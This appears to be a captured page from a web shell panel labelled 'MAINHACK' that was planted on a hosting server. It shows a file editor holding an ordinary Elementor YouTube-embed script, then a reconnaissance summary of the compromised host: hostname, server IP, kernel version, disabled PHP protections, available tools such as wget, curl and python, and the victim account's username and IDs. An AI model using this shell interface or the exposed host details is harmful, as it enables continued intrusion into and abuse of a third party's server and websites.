[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: youtube-handler.min.js
"use strict";(self.webpackChunkelementorFrontend=self.webpackChunkelementorFrontend||[]).push([[383],{4087:e=>{e.exports=elementorV2.frontendHandlers},6310:(e,t,o)=>{var n=o(4087);const loadYouTubeAPI=()=>new Promise(e=>{if(window.YT&&window.YT.loaded)return void e(window.YT);const t="https://www.youtube.com/iframe_api";if(!document.querySelector(`script[src="${t}"]`)){const e=document.createElement("script");e.src=t;const o=document.getElementsByTagName("script")[0];o.parentNode.insertBefore(e,o)}const checkYT=()=>{window.YT&&window.YT.loaded?e(window.YT):setTimeout(checkYT,350)};checkYT()});(0,n.register)({elementType:"e-youtube",id:"e-youtube-handler",callback:({element:e})=>{const t=document.createElement("div");t.style.height="100%",e.appendChild(t);const o=e.getAttribute("data-settings"),n=o?JSON.parse(o):{},r=(e=>{const t=e.match(/^(?:https?:\/\/)?(?:www\.)?(?:m\.)?(?:youtu\.be\/|youtube\.com\/(?:(?:watch)?\?(?:.*&)?vi?=|(?:embed|v|vi|user|shorts)\/))([^?&"'>]+)/);return t?t[1]:null})(n.source);if(!r)return;let s,c;const prepareYTVideo=e=>{const o={videoId:r,events:{onReady:()=>{n.mute&&s.mute(),n.autoplay&&s.playVideo()},onStateChange:t=>{t.data===e.PlayerState.ENDED&&n.loop&&s.seekTo(n.start||0)}},playerVars:{controls:n.controls?1:0,rel:n.rel?0:1,cc_load_policy:n.cc_load_policy?1:0,autoplay:n.autoplay?1:0,start:n.start,end:n.end}};return n.privacy&&(o.host="https://www.youtube-nocookie.com",o.origin=window.location.hostname),s=new e.Player(t,o),s};return n.lazyload?(c=new IntersectionObserver(t=>{t[0].isIntersecting&&(loadYouTubeAPI().then(e=>prepareYTVideo(e)),c.unobserve(e))}),c.observe(e)):loadYouTubeAPI().then(e=>prepareYTVideo(e)),()=>{s&&"function"==typeof s.destroy&&(s.destroy(),s=null),e.contains(t)&&e.removeChild(t),c&&"function"==typeof c.disconnect&&(c.disconnect(),c=null)}}})}},e=>{var t;t=6310,e(e.s=t)}]);
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.68 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: 1154